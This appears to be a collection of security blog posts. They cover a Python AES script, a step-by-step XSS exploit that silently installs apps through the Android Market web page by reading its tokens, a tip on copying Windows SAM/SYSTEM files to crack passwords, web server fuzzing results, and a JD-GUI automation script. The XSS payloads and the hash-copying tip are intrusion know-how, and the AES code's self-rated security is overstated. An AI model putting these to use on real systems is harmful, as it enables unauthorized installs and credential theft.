AES encryption/decryption in python

Sometimes I just need some encryption, so I wrote a scipt that fits most cases. The functions use the python Crypto library.

The security of the used encryption is quite good, I wrote a Key Derivation Function, that hashes the password before trunkating and using it as the AES key. The CBC mode should be ok for most cases. The encryption function does not add random padding. This means an attacker can guess how long the plaintext was, but that’s all.

def AESencrypt(password, plaintext, base64=False):
    import hashlib, os
    from Crypto.Cipher import AES
    SALT_LENGTH = 32
    DERIVATION_ROUNDS=1337
    BLOCK_SIZE = 16
    KEY_SIZE = 32
    MODE = AES.MODE_CBC
    
    salt = os.urandom(SALT_LENGTH)
    iv = os.urandom(BLOCK_SIZE)
    
    paddingLength = 16 - (len(plaintext) % 16)
    paddedPlaintext = plaintext+chr(paddingLength)*paddingLength
    derivedKey = password
    for i in range(0,DERIVATION_ROUNDS):
        derivedKey = hashlib.sha256(derivedKey+salt).digest()
    derivedKey = derivedKey[:KEY_SIZE]
    cipherSpec = AES.new(derivedKey, MODE, iv)
    ciphertext = cipherSpec.encrypt(paddedPlaintext)
    ciphertext = ciphertext + iv + salt
    if base64:
        import base64
        return base64.b64encode(ciphertext)
    else:
        return ciphertext.encode("hex")

def AESdecrypt(password, ciphertext, base64=False):
    import hashlib
    from Crypto.Cipher import AES
    SALT_LENGTH = 32
    DERIVATION_ROUNDS=1337
    BLOCK_SIZE = 16
    KEY_SIZE = 32
    MODE = AES.MODE_CBC
    
    if base64:
        import base64
        decodedCiphertext = base64.b64decode(ciphertext)
    else:
        decodedCiphertext = ciphertext.decode("hex")
    startIv = len(decodedCiphertext)-BLOCK_SIZE-SALT_LENGTH
    startSalt = len(decodedCiphertext)-SALT_LENGTH
    data, iv, salt = decodedCiphertext[:startIv], decodedCiphertext[startIv:startSalt], decodedCiphertext[startSalt:]
    derivedKey = password
    for i in range(0, DERIVATION_ROUNDS):
        derivedKey = hashlib.sha256(derivedKey+salt).digest()
    derivedKey = derivedKey[:KEY_SIZE]
    cipherSpec = AES.new(derivedKey, MODE, iv)
    plaintextWithPadding = cipherSpec.decrypt(data)
    paddingLength = ord(plaintextWithPadding[-1])
    plaintext = plaintextWithPadding[:-paddingLength]
    return plaintext
    
a = AESencrypt("password", "ABC")
print AESdecrypt("password", a)

XSS – developing an exploit from HTML form to jQuery

As I’m currently really occupied with all the Android stuff, I thought about the blog posts of Jon Oberheide and Thomas Cannon about XSS in the Google Android Market Web Interface. While I could have just used Jon Oberheide’s XSS exploit for jQuery, I thought it would be a good exercice for me to develop it on my own.

First of all, I’m talking about XSS, so in the nature of XSS we don’t have to bother about XSRF tokens, because we can just get them in our XSS attack. When you look at a HTTPS request that installs an app (e.g. in the HTTP Live Headers add-on for firefox), you will notice that the following request is sufficient to install an arbitrary app on the Android mobile:

POST https://market.android.com/install HTTP/1.1
Host: market.android.com
Cookie:  androidmarket=YOUR_COOKIE

id=com.example.very.evil.app.already.on.market&device=YOUR_DEVICE_ID&token=YOUR_TOKEN

The “YOUR” variables are all accessible in javascript when you are logged in, as you can see in the HTML source of the Android Market page (var initProps). Therefore you could generate a HTML/XSS payload like this:

<FORM action="https://market.android.com/install" id="formId" method="POST">
	<input id="id" type="hidden" name="id" value="com.example.very.evil.app.already.on.market" />
	<input id="device" type="hidden" name="device" value="" />
	<input id="xhr" type="hidden" name="xhr" value="1" />
	<input id="token" type="hidden" name="token" value="" />
</FORM>
<script>
document.getElementById('token').value = initProps['token'];
document.getElementById('device').value = initProps['selectedDeviceId'];
document.getElementById('formId').submit();
</script>

or in pure javascript:

<script>
myform = document.createElement("form");
myform.action = "https://market.android.com/install";
myform.method = "POST";

id = document.createElement("input");
id.name = "id";
id.type = "hidden"
id.value = "com.example.very.evil.app.already.on.market";
myform.appendChild(id);

device = document.createElement("input");
device.name = "device";
device.type = "hidden"
device.value = initProps['selectedDeviceId'];
myform.appendChild(device);

xhr = document.createElement("input");
xhr.name = "xhr";
xhr.type = "hidden"
xhr.value = "1";
myform.appendChild(xhr);

token = document.createElement("input");
token.name = "token";
token.type = "hidden"
token.value = initProps['token'];
myform.appendChild(token);

document.body.appendChild(myform);

myform.submit();
</script>

For example if you copy the following code into the URL bar of you Android Market Browser Tab (you must be logged in), it will install the official Swiss train service app (SBB) on your mobile:

javascript:myform = document.createElement("form"); myform.action = "https://market.android.com/install"; myform.method = "POST"; id = document.createElement("input"); id.name = "id"; id.type = "hidden"; id.value = "ch.sbb.mobile.android.b2c"; myform.appendChild(id); device = document.createElement("input"); device.name = "device"; device.type = "hidden"; device.value = initProps['selectedDeviceId']; myform.appendChild(device); xhr = document.createElement("input"); xhr.name = "xhr"; xhr.type = "hidden"; xhr.value = "1"; myform.appendChild(xhr); token = document.createElement("input"); token.name = "token"; token.type = "hidden"; token.value = initProps['token']; myform.appendChild(token); document.body.appendChild(myform); myform.submit();

The problem with that payload is, that it will prompt the user a json.txt file download. So let’s do some Ajax magic instead:

var xmlHttpObject = false;
if (typeof XMLHttpRequest != 'undefined') {
    xmlHttpObject = new XMLHttpRequest();
}
if (!xmlHttpObject) {
    try {
        xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try {
            xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xmlHttpObject = null;
        }
    }
}

//POST request
params = "com.example.very.evil.app.already.on.market&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']
xmlHttpObject.open("POST", "install", true);
xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttpObject.setRequestHeader("Content-length", params.length);
xmlHttpObject.setRequestHeader("Connection", "close");
xmlHttpObject.send(params);

Now the following one line in your browser address bar will silently install the app (remove the app first if you already executed the last payload):

javascript: var xmlHttpObject = false; if (typeof XMLHttpRequest != 'undefined') { xmlHttpObject = new XMLHttpRequest(); }; if (!xmlHttpObject) { try { xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xmlHttpObject = null; }; }; }; params = "id=ch.sbb.mobile.android.b2c&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']; xmlHttpObject.open("POST", "install", true); xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttpObject.setRequestHeader("Content-length", params.length); xmlHttpObject.setRequestHeader("Connection", "close"); xmlHttpObject.send(params);

If we now take into account that we could simply use jquery, the following javascript code (proposed by Jon Oberheide) results:

$.post('/install', {
    id: 'com.example.very.evil.app.already.on.market',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

This is of course much more elegant, but I really needed a HTML form to jQuery exercise, so I appreciate jQuery again :)

Extracting Windows Hashes

Extracting Windows hashes for password cracking is pretty basic, right? If you try to copy the SAM and SYSTEM file from C:\WINDOWS\system32\config\ on a running Windows 2003 server you get an error message, saying that it’s already in use. So before you start using shadowcopies or ntbackup or any other tools, consider just copying C:\WINDOWS\repair\SAM and SYSTEM. Basically the same files, altough it seems that the repair folder is not always up to date.

Update: There is some more research going on pauldotcom.

How webservers react on specific characters

One thing I did during my Master Thesis a while ago, was to test how different webservers react to all kind of characters. One of the first things I tested was all characters represented by one byte (00 to FF) and their percent encoded equivalents (%00 to %FF). Of course the results may vary with other server versions, server configurations, server side code, client libraries or the sent HTTP headers. For example python’s urllib2 is not able to send 0A (line feed) in an URI (which makes sense). I tried to use standard components as best as I could. The webservers I used were:

  • An Apache 2.2.12 server (port 80), Ubuntu 9.10 machine with PHP 5.2.10
  • On the same machine a Tomcat 6.0.26 server (port 8080) with JSP (Java Server Pages)
  • On a Microsoft-IIS/6.0, Windows 2003 Server R2/SP2 with ASP.NET 2.0.50727 a script in C# on Virtualbox 3.1.8

So here are the main results in one picture:

character_table_for_testing_webservers

The ‘Name’ column means that the character was injected into the parameter name, e.g. na%00me=value&a=b. The fields with ‘S’ are explained in another section of my Master Thesis, but some of the time you can guess the behavior. E.g. I think you know what & stands for in GET parameters, right? ;)

This kind of information is useful when you are trying to write a fuzzer, that is more focused to do some tests that make sense. Would be interesting if this table is useful for someone else.

Automating JD-GUI decompilation on a Mac with AppleScript

I know the guys over at Java Decompiler don’t want to release a command line tool, because they fear that companies will use their code in commercial product. See the discussion here. I found a solution to my problem, so that I can still automate the decompilation process. During my Android research I really need to decompile a lot of jar files, therefore I wrote a simple AppleScript that saves me the sources to my /opt folder.

tell application "JD-GUI"
	activate
end tell

tell application "System Events"
	keystroke "s" using {command down, option down}
end tell
tell application "System Events"
	keystroke tab
	keystroke tab
	keystroke tab
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 36 #Enter
	delay 1
	key code 36 #Enter
	delay 2
end tell

repeat while appIsRunning("JD-GUI")
	tell application "System Events"
		keystroke "q" using {command down} #Close JD-GUI
	end tell
	delay 2
end repeat

on appIsRunning(appName)
	tell application "System Events" to (name of processes) contains appName
end appIsRunning

After saving the script as decompile_jar.applescript with the AppleScript Editor, you can invoke it from your bash script like this:

/Applications/JD-GUI.app/Contents/MacOS/jd-gui example.jar &
sleep 1
osascript decompile_jar.applescript
mv /opt/example.src.zip /your/destination